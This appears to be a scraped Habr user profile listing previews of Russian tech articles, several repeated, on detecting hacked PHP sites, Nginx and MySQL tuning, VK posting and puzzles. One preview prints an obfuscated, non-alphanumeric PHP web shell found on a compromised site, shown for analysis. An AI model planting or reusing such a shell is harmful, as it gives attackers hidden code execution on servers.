Привет! Я человек. Человек, которому интересно, как работает то, чем он пользуется чаще одного раза в день. И если в функциональности найден изъян, не поделиться с кем-то этим я не могу. Банально не хватает терпения сдерживать в себе информацию, которая может оказаться полезной некой категории людей, имеющих возможность извлечь из неё выгоду и поделиться со мной знанием, как такие знания использовать.
Евгений Скульдицкий
@propovednik
User
Как узнать, что ваш PHP сайт был взломан
11 min
132K
Translation
Сайт моего друга недавно был взломан, на нем была запущена старая версия IP.Board, в которой есть уязвимость локального внедрения кода (local file inclusion). Этот пост не будет посвящен IP.Board или другому php коду, он покажет, как найти потенциально вредоносный php код на ваших серверах. Наконец, покажу пример того, что злоумышленники могут загрузить на взломанный сайт.
Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.
Необходимо часто проверять журналы доступа на сервере, однако если вы не будете осторожны, URL такие как выше, которые на первый взгляд выглядят безобидно, могут пройти прямо мимо вас.
Два файла выше это загруженные взломщиком скрипты, как они туда попали, большой роли не играет, так как код на любых двух серверах, вероятно, будет различным. Тем не менее, в данном конкретном примере, уязвимость в устаревшей версии IP.Board была использована, и атакующие смогли добавить свои собственные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это общий вектор атаки, много людей изменяют права на эти каталоги на 777 или дают им доступ на запись, подробнее об этом чуть позже.
Рассмотрим подробнее приведенные выше строки журнала, ничего не цепляет вас?
Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.
Скорее всего, злоумышленники хотели сделать журнал доступа более неприметным, так как большинство журналов не сохраняют post данные.
Проверьте логи доступа
Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.
IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
Необходимо часто проверять журналы доступа на сервере, однако если вы не будете осторожны, URL такие как выше, которые на первый взгляд выглядят безобидно, могут пройти прямо мимо вас.
Два файла выше это загруженные взломщиком скрипты, как они туда попали, большой роли не играет, так как код на любых двух серверах, вероятно, будет различным. Тем не менее, в данном конкретном примере, уязвимость в устаревшей версии IP.Board была использована, и атакующие смогли добавить свои собственные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это общий вектор атаки, много людей изменяют права на эти каталоги на 777 или дают им доступ на запись, подробнее об этом чуть позже.
Рассмотрим подробнее приведенные выше строки журнала, ничего не цепляет вас?
Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.
Скорее всего, злоумышленники хотели сделать журнал доступа более неприметным, так как большинство журналов не сохраняют post данные.
Публикация на стене Вконтакте средствами php
5 min
138KПолучив задачу создать автоматическую публикацию материалов сайта на стене нашей страницы Вконтакте, я обнаружил, что рецептов по этой, казалось бы, актуальной теме относительно мало.
В действительности всё оказалось довольно просто, и чтение документации по API часто помогает сэкономить время.
В действительности всё оказалось довольно просто, и чтение документации по API часто помогает сэкономить время.
Рынок телекоммуникаций в России — что, где, как, почем
7 min
33KТак сложилось, что я давно на рынке сверх-высоко-нагруженных-проектов и связи.
Делал тех. часть (NDA уже снято, да?) begun, mamba, badoo, innova, многих других.
Сейчас — badoo и DI — любимые компании. Хотя — badoo это старая но нерушимая любовь, DI — это нечто для exUSSR — never seen before.
Badoo — мы наконец взорвали рынок Европы, США и Латинской Америки (>100 миллионов пользователей — мне правда очень радостно быть частью процесса).
DI — мы скоро сокрушительно взорвем рынок СНГ, но должны четко представлять куда и на каких условиях мы будем отдавать наш трафик.
Речь сейчас об одной из насущных проблем — связь.
На самом деле — это набор неких субьективных тезисов, которые возможно кому-то помогут, а кого-то возмутят…
Все ниже написанное — глубокое IMHO.
Рынок связи в России — это то что было на западе около 10-15 лет назад — пора диких правил, конкурентной борьбы и мутной воды в которой ловится рыбка.
Делал тех. часть (NDA уже снято, да?) begun, mamba, badoo, innova, многих других.
Сейчас — badoo и DI — любимые компании. Хотя — badoo это старая но нерушимая любовь, DI — это нечто для exUSSR — never seen before.
Badoo — мы наконец взорвали рынок Европы, США и Латинской Америки (>100 миллионов пользователей — мне правда очень радостно быть частью процесса).
DI — мы скоро сокрушительно взорвем рынок СНГ, но должны четко представлять куда и на каких условиях мы будем отдавать наш трафик.
Речь сейчас об одной из насущных проблем — связь.
На самом деле — это набор неких субьективных тезисов, которые возможно кому-то помогут, а кого-то возмутят…
Все ниже написанное — глубокое IMHO.
Рынок связи в России — это то что было на западе около 10-15 лет назад — пора диких правил, конкурентной борьбы и мутной воды в которой ловится рыбка.
Ускорение загрузки Windows for fun and profit
4 min
793K
Про то, почему отключение pagefile-а скорее вредно, чем полезно — как нибудь в другой раз, а пока…
Ресурсы по поиску качественных иконок.
1 min
6.1KВсе когда-нибудь сталкивались с проблемой поиска качественных иконок для различных нужд. Список лучших поисковиков:
Гуглякартим по умному
9 min
10KВ последнее время модно стало использовать гуглякарту.
Гугля карту суда, гугля карту туда.
И главное не забыть отобразить свои объектики на карте.
Но, почему-то, подавлявшее число сервисов используют неправильную реализацию процесса передачи маркеров с сервера на клиент.
Точнее они не правильно формируют запросы.
А если выразиться еще более точнее — они это делают
Гугля карту суда, гугля карту туда.
И главное не забыть отобразить свои объектики на карте.
Но, почему-то, подавлявшее число сервисов используют неправильную реализацию процесса передачи маркеров с сервера на клиент.
Точнее они не правильно формируют запросы.
А если выразиться еще более точнее — они это делают
Как один профессор продает своим студентам двадцатидолларовую купюру за $200.
3 min
670Прочитал в ЖЖ prokuror. Тема хоть и не связан напрямую с IT, но на Хабре очень много умных и разносторонних людей, которым этот текст может быть интересен. Далее цитата
Отобрать деньги у студента программы MBA проще, чем забрать леденец у ребенка. К моменту получения диплома это, как правило, уже не требуется – они сами начинают разбрасывать деньги налево и направо. Хотя смеяться над людьми, явно пораженными в умственных способностях, негуманно — эта история про студентов MBA заслуживает того, чтобы стать общественным достоянием.
Каждый год профессор Макс Базерман продает студентам MBA из Harvard Business School двадцатидолларовую купюру намного выше номинала. Его рекорд – продажа $20 за $204. А делает он это следующим образом.
Отобрать деньги у студента программы MBA проще, чем забрать леденец у ребенка. К моменту получения диплома это, как правило, уже не требуется – они сами начинают разбрасывать деньги налево и направо. Хотя смеяться над людьми, явно пораженными в умственных способностях, негуманно — эта история про студентов MBA заслуживает того, чтобы стать общественным достоянием.
Каждый год профессор Макс Базерман продает студентам MBA из Harvard Business School двадцатидолларовую купюру намного выше номинала. Его рекорд – продажа $20 за $204. А делает он это следующим образом.
Сам себе Gmail
4 min
3.2KКак сделать себе 100 почтовых ящиков вида моё@имя.ru, каждый объемом 6,5 гигабайт, и платить за это всего 1 рубль в день?
Под катом — рассказываю пошагово. Для тех, кто не знал про это, или знал, но неохота было разбираться.
Зачем? Для личных целей — чтобы на визитке не стыдно было печатать какой-нибудь «vasya-p1982-2@bk.ru». Для организаций тоже пригодится. В компании, которой я работал, на весь штат сотрудников на хостинге было всего 200 мегабайт места под почту. Этого было, разумеется, недостаточно, и сисадминша ходила и гавкала на сотрудников, снижая суммарный объем позитива во Вселенной, что абсолютно недопустимо :)
Под катом — рассказываю пошагово. Для тех, кто не знал про это, или знал, но неохота было разбираться.
Зачем? Для личных целей — чтобы на визитке не стыдно было печатать какой-нибудь «vasya-p1982-2@bk.ru». Для организаций тоже пригодится. В компании, которой я работал, на весь штат сотрудников на хостинге было всего 200 мегабайт места под почту. Этого было, разумеется, недостаточно, и сисадминша ходила и гавкала на сотрудников, снижая суммарный объем позитива во Вселенной, что абсолютно недопустимо :)
Примитивная логика и кодирование информации
2 min
1.1KИтак, довольно давно я столкнулся с довольно интересной задачкой:
Вначале казалось что половина убитых — радость для этой деревни. Но, немного подумав, я натолкнулся (одна девушка меня натолкнула) на довольно простое решение: мозги заранее договариваются и если цвет впереди стоящего белый, то произносится свой цвет (извини, первый мегамозг, ты в 50% случаев умрешь...) громко, иначе — тихо. Но это — примитив, хотя уже дает результат вдвое лучший — 99 мегамозгов останутся живы.
Теперь мой окончательный вариант: последний, который видит всех, считает парность, например, чёрных. Если получилось парное, говорит, что он чёрный. Он, к сожалению единственный, кто рискует погибнуть. Следующий считает парность чёрных, если парно — он белый (количество чёрных не изменилось), иначе — чёрный, следующий аналогично.
Поразило меня в решении этой задачи то, что достигнут поистине поражающий результат — вначале казалось, что спасти хотя бы больше 50% — отличный результат, однако, пожертвовав жизнью всего лишь одного из мегамозгов (в 50% случаев) можно гарантированно спасти всех остальных!
Подлые оккупанты захватили деревню мегамозгов, выстроили их друг за другом в колонну так, что каждый предыдущий видит всех последующих. На каждого мегамозга надели колпак черного или белого цвета так, что ни один мегамозг не видит свой колпак. Начиная с самого последнего (того, который видит всех кроме себя) у каждого мегамозга по очереди спрашивают цвет его шляпы, если он ошибается, его убивают. Но как раз на этот случай мегамозги заранее договорились, как минимизировать число убитых. О чем договорились мегамозги?(все ссылаются на braingames.ru, но на самом деле этот сайт — подлый плагиатор, задачка древняя, они переделали ее под свою специфику, — добавили везде мегамозгов, — и выдали за собственную)
Вначале казалось что половина убитых — радость для этой деревни. Но, немного подумав, я натолкнулся (одна девушка меня натолкнула) на довольно простое решение: мозги заранее договариваются и если цвет впереди стоящего белый, то произносится свой цвет (извини, первый мегамозг, ты в 50% случаев умрешь...) громко, иначе — тихо. Но это — примитив, хотя уже дает результат вдвое лучший — 99 мегамозгов останутся живы.
Теперь мой окончательный вариант: последний, который видит всех, считает парность, например, чёрных. Если получилось парное, говорит, что он чёрный. Он, к сожалению единственный, кто рискует погибнуть. Следующий считает парность чёрных, если парно — он белый (количество чёрных не изменилось), иначе — чёрный, следующий аналогично.
Поразило меня в решении этой задачи то, что достигнут поистине поражающий результат — вначале казалось, что спасти хотя бы больше 50% — отличный результат, однако, пожертвовав жизнью всего лишь одного из мегамозгов (в 50% случаев) можно гарантированно спасти всех остальных!
Генерация больших карт в ремейке игры «Caesar III(с)»
3 min
29KЕсли вы любитель игры «Caesar III», то наверняка замечали то, с каким старанием и вниманием к мелочам сделаны карты кампании, да и свободного режима тоже. Природные пейзажи, на которых игрок возводит «новый Рим», выглядят вполне реалистично (в рамках игры): ручейки впадают в реки и озера, реки текут через всю карту, а в лесах бродят «бессмертные» овцы, иногда забредая на луга и мешая строить фермы, чайки кружат над местами скопления рыбы, а иногда по реке проплывает неудачливый моряк на останках корабля. Скальные массивы окружены деревьями, а земля покрыта ковром сочной зеленой травы. У всей этой чудной картинки есть недостаток, размер карты не превышает 160х160 тайлов, в статье я расскажу как сделал генерацию карт больших размеров.


Как смотреть фильмы в оригинале, если английский слабоват? Решение!
5 min
54K
Хочу рассказать о своем небольшом проекте для изучающих английский язык.
Как известно, чтобы изучать и не забывать язык, им надо пользоваться. И один из способов практиковать язык — это начать смотреть фильмы в оригинале.
Но как можно начать смотреть фильмы и получать при этом удовольствие, если в каждом диалоге актеров встречаются незнакомые слова?
В интернете полно методик, где советуют, например, смотреть по 3 раза или подготавливаться к просмотру, выписывая и заучивая заранее слова из субтитров. Да, возможно это эффективно, и кому-то подойдут такие способы, но это же так скучно… Я бы не смог смотреть 3 раза подряд один и тот же фильм. Хочется получать удовольствие от просмотра, смотреть сразу и без подготовки и все понимать.
Тюнинг MySQL — thread_cache_size
1 min
55KПараметр thread_cache_size играет немаловажную роль в производительности нагруженного MySQL-сервера. В некоторых случаях можно увеличить производительность на 30-50%.
Этот параметр указывает количество тредов, уходящих в кеш при отключении клиента. При новом подключении тред используется из кеша, что позволяет экономить ресурсы при больших нагрузках.
Этот параметр указывает количество тредов, уходящих в кеш при отключении клиента. При новом подключении тред используется из кеша, что позволяет экономить ресурсы при больших нагрузках.
Элементарные социальные share-кнопки
3 min
191K
Tutorial
В ответ на посты о кнопках для шаринга в социальных сетях с громоздким исходным кодом, и сложной детальной кастомизацией, хочу показать хабрасообществу решение которое однажды написал неизвестный, но однозначно добрый программист. Автор сего чуда не я, но использую это решение уже больше года в проектах с которыми работаю.
TorrentMonitor и снова здравствуйте
4 min
21KПолтора года назад я уже писал здесь о своей разработке TorrentMonitor. Кто-то может быть уже читал и давно пользуется, а кто-то может быть даже и не слышал, поэтому хочу поведать вам о ней ещё раз, тем более что полтора года я не сидел сложа руки. Это автоматическая система слежения за торрент-трекерами, которая автоматизирует процесс скачивания торрент-файлов.


Ускоряем Nginx за 5 минут
5 min
262K
Попытайтесь повторить это сами
Как правило, настроенный должным образом сервер Nginx на Linux, может обрабатывать 500,000 — 600,000 запросов в секунду. Но этот показатель можно весьма ощутимо увеличить. Хотел бы обратить внимание на тот факт, что настройки описанные ниже, применялись в тестовой среде и, возможно, для ваших боевых серверов они не подойдут.
Минутка банальности.
yum -y install nginx
На всякий пожарный, создадим бэкап исходного конфига.
cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.orig
vim /etc/nginx/nginx.conf
А теперь можно и похимичить!
PHP-шелл без единого буквенно-цифрового символа
1 min
89KВчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$
$_[$__+ $__] ;$_[@-_]($_[@!+_] );
Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Как две недели?!
2 min
105KКак это вам надо две недели на эту задачу? Что, правда? Вот на эту элементарную формочку с тремя полями и двумя кнопками? Две недели? Да вы надо мной издеваетесь, наверное! Давайте разбираться.
Что? Нужна ли валидация данных при вводе? Ну, конечно, нужна! И вообще, вот это поле лучше разбить на два, так понятнее. А вот в это добавить маску. А вот это — заменить на выпадающий список. Где брать варианты для этого списка? В базе на сервере, конечно. Как это их там нет? А, ну да, это же в другом проекте они у нас были… Ну, значит надо добавить. Взять там и добавить сюда. Сейчас я дам вам контакт разработчика того проекта — обсудите с ним. Он, правда, у нас уже не работает, но я думаю, вполне можно спросить что и как — он расскажет, скорее всего.
Мы всё обсудили? Нет? Что ещё?

Мы всё обсудили? Нет? Что ещё?
Визуализируем геоинформацию из логов на web-карте в реальном времени
9 min
17K
Tutorial

Дабы не было двусмысленностей, обозначу суть. При приёме на новую работу мне дали тестовое задание, которое кратко можно описать так: «Написать аналог Glow для геовизуализации событий входа пользователей в кастомерку интернет-магазина». Проще говоря, необходимо мониторить лог системы на предмет возникновения определенных событий и в случае оных выполнять (в данном случае) отображение точки на карте, которая будет определяться IP-адресом пользователя. Цель реализации: создать приятную на вид «игрушку» для презентационных целей, способную погрузить смотрящего в нирвану гармонии и эстетического наслаждения. Основным условием было использование в процессе разработки стека Java-технологий, чем обусловлено принятие многих решений. Кроме этого, было решено реализовать это в виде одностраничного сайта. А поскольку с Java и web я был знаком крайне поверхностно (писал в основном на C/C++), пришлось многому научиться. Что ж, будем разбираться вместе.
Статья рассчитана на интересующихся и начинающих, однако не «разжевывает» простые вещи, с которыми можно ознакомиться с помощью документации или специализированных статей. Наиболее полезные ресурсы, ссылка на исходники (распространяются по лицензии BSD) и ссылка на рабочую версию приведены в конце статьи.
Information
- Rating
- Does not participate
- Location
- Петропавловск, Северо-Казахстанская обл., Казахстан
- Registered
- Activity